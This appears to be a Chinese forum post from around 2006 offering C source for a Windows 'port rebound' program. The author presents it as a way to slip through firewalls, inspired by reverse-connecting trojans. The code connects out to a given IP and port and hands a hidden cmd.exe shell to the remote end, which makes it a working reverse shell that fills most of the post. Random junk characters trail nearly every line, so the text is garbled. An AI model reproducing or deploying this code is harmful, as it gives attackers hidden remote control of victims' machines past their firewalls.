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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b22LT52  
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/* ============================== 4'` C1a  
Rebound port in Windows NT X'jr|s^s  
By wind,2006/7 _%;M9Sg3  
===============================*/ 3hLqAj  
#include 72u db^  
#include :1*zr  
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#pragma comment(lib,"wsock32.lib") sLZ>v  
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void OutputShell(); {79qtq%W{  
SOCKET sClient; Rh[Ibm56  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vn``0!FX  
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void main(int argc,char **argv) =D}4X1l  
{ ~x\Cmu9`  
WSADATA stWsaData; M.S s: ttj  
int nRet; svqvG7  
SOCKADDR_IN stSaiClient,stSaiServer; Vli3>K&  
k},>^qE  
if(argc != 3) lYP~3wp99  
{ I.-v?1>,  
printf("Useage:\n\rRebound DestIP DestPort\n"); UTvs |[  
return; :SK<2<8h  
} BD4`eiu"  
#%4=)M>^  
WSAStartup(MAKEWORD(2,2),&stWsaData); &lq^dFP&Su  
+ LS3T^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _=?2 3  
#>XeR>T  
stSaiClient.sin_family = AF_INET; ]{Z8  
stSaiClient.sin_port = htons(0); %2}C'MqS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EDtCNqBS~2  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z(rK^RT  
{ rpSr^slr  
printf("Bind Socket Failed!\n"); l^ Rm0t_  
return; JCNk\@0i*  
} >gnF]<  
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stSaiServer.sin_family = AF_INET; W"|mpxp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8?kP*tmcZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j3{HkcjJG  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4T%cTH:.9N  
{ 3(C :X1  
printf("Connect Error!"); 5a6VMqQ6  
return; *<xrp*O  
} )@_ugW-j  
OutputShell(); +2Z#M  
} 0 7\02f  
><K!~pst}  
void OutputShell() G0pBR]_5z$  
{ x~z_,':  
char szBuff[1024]; x2@,9OUx  
SECURITY_ATTRIBUTES stSecurityAttributes; $ o " L;j  
OSVERSIONINFO stOsversionInfo; VyY.r#@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +YuzpuxjJ  
STARTUPINFO stStartupInfo; 8""mp]o9  
char *szShell; !!*;4FK"q  
PROCESS_INFORMATION stProcessInformation; M7vj^mt?  
unsigned long lBytesRead; NocFvF7\  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xD4$0Ppu  
# ) `\!)?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 26 ?23J ;  
stSecurityAttributes.lpSecurityDescriptor = 0; Dp`HeSKU^  
stSecurityAttributes.bInheritHandle = TRUE;  $WR?  
~{P:sjsU  
rd" &QB{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "$DldHC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r6MB"4xd  
V_f`0\[x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =hGJAU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '#<> "|  
stStartupInfo.wShowWindow = SW_HIDE; m!:.>y  
stStartupInfo.hStdInput = hReadPipe; -bm,:Iy!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v8~YR'T0`V  
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GetVersionEx(&stOsversionInfo); &XtRLt gS  
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switch(stOsversionInfo.dwPlatformId) 4w;~4#ZPp  
{ lLMPw}r<  
case 1: #%8 w  
szShell = "command.com"; g|4w8ry  
break; nP;;MX:B  
default: !k-` eJ|  
szShell = "cmd.exe"; L+t[&1cW  
break; S>#R_H<(  
} s1=+::  
h0lu!m#\_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `|?]CkP  
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send(sClient,szMsg,77,0); (6clq:c7j  
while(1) X4'kZ'Sy<  
{ OXCQfT@\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sf)W~Lx 5a  
if(lBytesRead) :".w{0l@  
{ tr=@+WHp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g z4UV/qr/  
send(sClient,szBuff,lBytesRead,0); d;44;*D  
} 1eD.:_t4  
else :<%vE!$  
{ C_Gzv'C"L  
lBytesRead=recv(sClient,szBuff,1024,0); e9:P9Di(b  
if(lBytesRead<=0) break; ;UpJ=?W  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :Eo8v$W\RB  
} wS%zWdsz  
} 02pplDFsM  
hfv%,,e  
return; VMF|iB  
}
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